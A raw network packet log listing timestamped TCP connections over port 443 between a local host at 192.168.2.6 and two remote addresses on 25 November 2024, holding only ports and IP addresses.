Nov 25, 2024 05:46:25.960815907 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.960824966 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.960855007 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.960890055 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.969218969 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.969264030 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.969302893 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.969310999 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.969362974 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.970609903 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.970627069 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.970702887 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.970711946 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.974050045 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.979366064 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.979410887 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.979433060 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.979440928 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.979477882 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.979504108 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.982677937 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.982693911 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.982748985 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.982757092 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.982865095 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.984153032 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.984179974 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.984251976 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.984262943 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.984302044 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.984322071 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.992505074 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.992522955 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.992604017 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.992611885 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.992651939 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.994786978 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.994807005 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.994862080 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.994869947 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.994919062 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.994940996 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.999841928 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.999888897 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.999917030 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.999922991 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.999959946 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.999982119 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.004520893 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.004537106 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.004582882 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.004590988 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.004628897 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.005532026 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.005562067 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.005606890 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.005615950 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.005661011 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.005676985 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.014879942 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.014902115 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.014976978 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.014985085 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.015024900 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.026277065 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.026299000 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.026365995 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.026374102 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.026418924 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.035583019 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.035614014 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.035641909 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.035648108 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.035685062 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.035701990 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.038264990 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.038286924 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.038342953 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.038369894 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.038387060 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.038408995 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.046294928 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.046313047 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.046329021 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.046370983 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.046396971 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.046405077 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.046459913 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.046468019 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.046494961 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.046516895 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.054511070 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.054528952 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.054610968 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.054620981 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.054744959 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.061541080 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.061641932 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.072470903 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.072519064 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.072537899 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.072556973 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.072594881 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.072609901 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.123363018 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.123411894 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.123444080 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.123454094 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.123500109 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.131136894 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.131167889 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.131213903 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.131223917 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.131263018 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.132356882 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.132400036 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.132426023 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.132431984 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.132467031 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.132477045 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.140129089 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.140147924 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.140189886 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.140196085 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.140243053 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.141495943 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.141539097 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.141587973 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.141593933 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.141618967 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.141633987 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.147949934 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.147965908 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.148014069 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.148020983 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.148055077 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.148156881 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.149349928 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.149391890 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.149415970 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.149435043 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.149456024 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.149482012 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.157042980 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.157059908 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.157103062 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.157109976 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.157147884 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.159075975 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.159117937 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.159164906 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.159171104 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.159213066 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.165915966 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.165932894 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.165985107 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.165991068 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.166048050 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.167006016 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.167048931 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.167136908 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.167136908 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.167145014 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.167289019 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.174428940 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.174448013 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.174525976 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.174535036 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.174568892 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.176068068 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.176111937 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.176142931 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.176147938 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.176196098 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.176204920 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.183387041 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.183408976 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.183506012 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.183514118 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.183553934 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.195614100 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.195688963 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.195698977 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.195734978 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.195755959 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.195779085 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.201170921 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.201215029 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.201252937 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.201260090 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.201281071 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.201304913 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.203998089 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.204044104 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.204063892 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.204072952 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.204114914 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.205750942 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.205766916 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.205810070 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.205818892 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.205856085 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.205876112 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.213681936 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.213709116 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.213742018 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.213753939 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.213804960 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.213836908 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.223347902 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.223371029 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.223427057 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.223443031 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.223506927 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.232517004 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.232551098 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.232619047 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.232630014 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.232673883 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.242161036 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.242187977 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.242232084 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.242242098 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.242284060 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.242301941 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.250638008 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.250659943 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.250741005 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.250751972 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.250780106 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.250798941 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.267354965 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.267436028 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.282234907 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.282258987 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.282305956 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.282326937 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.282361031 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.282377958 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.292370081 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.292403936 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.292495966 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.292720079 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.292759895 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.292829037 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.292995930 CET	49756	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.293015957 CET	443	49756	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.293162107 CET	49757	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.293175936 CET	443	49757	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.324599028 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.324649096 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.324700117 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.324714899 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.324729919 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.324743032 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.332290888 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.332315922 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.332362890 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.332375050 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.332405090 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.332416058 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.333512068 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.333570957 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.333610058 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.333616018 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.333672047 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.341012955 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.341038942 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.341075897 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.341084003 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.341120958 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.341140032 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.341332912 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.341373920 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.341430902 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.341691971 CET	49758	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.341711044 CET	443	49758	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.342263937 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.342314005 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.342319965 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.342335939 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.342363119 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.342390060 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.342487097 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.342535973 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.342556000 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.342564106 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.342612028 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.350331068 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.350373030 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.350399971 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.350418091 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.350449085 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.350464106 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.358686924 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.358757019 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.392381907 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.392405987 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.392478943 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.392726898 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:26.392735958 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:26.405764103 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.405791044 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.405827045 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.405850887 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.405877113 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.405900002 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.413957119 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.413975000 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.414060116 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.414069891 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.414119959 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.423084021 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.423101902 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.423144102 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.423154116 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.423187017 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.423202991 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.432369947 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.432388067 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.432440042 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.432449102 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.432501078 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.432521105 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.441122055 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.441205978 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.567332983 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.567382097 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.590590954 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.591784954 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.591792107 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.593350887 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.593374968 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.593421936 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.594916105 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.594935894 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.594947100 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.594993114 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:26.595000029 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:26.595009089 CET	443	49736	150.171.27.10	192.168.2.6
